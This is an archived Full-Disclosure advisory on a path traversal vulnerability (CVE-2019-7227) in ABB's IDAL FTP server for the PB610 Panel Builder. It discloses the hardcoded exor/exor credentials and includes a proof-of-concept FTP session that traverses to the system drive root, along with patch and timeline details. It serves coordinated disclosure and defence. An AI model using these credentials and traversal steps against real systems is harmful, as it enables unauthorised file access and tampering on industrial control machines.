lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 20 Jun 2019 12:12:16 +0000
From: xen1thLabs <xen1thLabs@...kmatter.ae>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] XL-19-008 - ABB IDAL FTP Server Path Traversal Vulnerability

XL-19-008 - ABB IDAL FTP Server Path Traversal Vulnerability
========================================================================

Identifiers
-----------
XL-19-008
CVE-2019-7227
ABBVU-IAMF-1902006


CVSS Score
----------
7.3 (AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)


Affected vendor
---------------
ABB (new.abb.com)


Credit
------
Eldar Marcussen - xen1thLabs - Software Labs


Vulnerability summary
---------------------
The IDAL FTP server fails to ensure that directory change requests do not change to locations outside of the FTP servers root directory. An authenticated attacker can simply traverse outside the server root directory by changing the directory with "cd ..".


Technical details
-----------------
An authenticated attacker can traverse to arbitrary directories on the hard disk and then use the FTP server functionality to download and upload files. An unauthenticated attacker can take advantage of the hardcoded or default credential pair exor/exor to become an authenticated attacker.

Proof of concept
----------------
```
ftp> open localhost 22
Connected to WIN-542AQUCL4LD.
220 Welcome to IDAL FTP server. READY.
User (WIN-542AQUCL4LD:(none)): exor
331 User name ok, need password.
Password:
230 User successfully logged in.
550 CWD command failed. Directory not found.
ftp> cd ../../../../../../../../../../../../../../../
250 CWD command successful.
ftp> dir
200 PORT command successful.ac
150 Opening ASCII mode data connection for LIST.
drwxrwxrwx 1     0     0           0 Dec 11 05:45 $Recycle.Bin
-rwxrwxrwx 1     0     0          24 Jun 10 2009  autoexec.bat
drwxrwxrwx 1     0     0           0 Dec 11 16:41 Boot
-r--r--r-- 1     0     0      383562 Jul 14 2009  bootmgr
-r--r--r-- 1     0     0        8192 Dec 11 16:41 BOOTSECT.BAK
-rw-rw-rw- 1     0     0          10 Jun 10 2009  config.sys
drwxrwxrwx 1     0     0           0 Jul 14 2009  Documents and Settings
-rw-rw-rw- 1     0     0 -1074274304 Dec 11 12:36 pagefile.sys
drwxrwxrwx 1     0     0           0 Jul 14 2009  PerfLogs
dr-xr-xr-x 1     0     0           0 Dec 11 11:42 Program Files
drwxrwxrwx 1     0     0           0 Dec 11 12:36 ProgramData
drwxrwxrwx 1     0     0           0 Dec 11 05:44 Recovery
-rw-rw-rw- 1     0     0         213 Dec 11 07:23 setup.log
drwxrwxrwx 1     0     0           0 Dec 11 12:26 System Volume Information
dr-xr-xr-x 1     0     0           0 Dec 11 05:44 Users
drwxrwxrwx 1     0     0           0 Dec 11 07:20 Windows
226 Transfer complete.
ftp: 1009 bytes received in 0.01Seconds 100.90Kbytes/sec.
ftp>
```

Affected systems
----------------
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367

Solution
--------
Apply the patches and instructions from vendor:
  - ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch


Disclosure timeline
-------------------
04/02/2019 - Contacted ABB requesting disclosure coordination
05/02/2019 - Provided vulnerability details
05/06/2019 - Patch available
17/06/2019 - xen1thLabs public disclosure

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists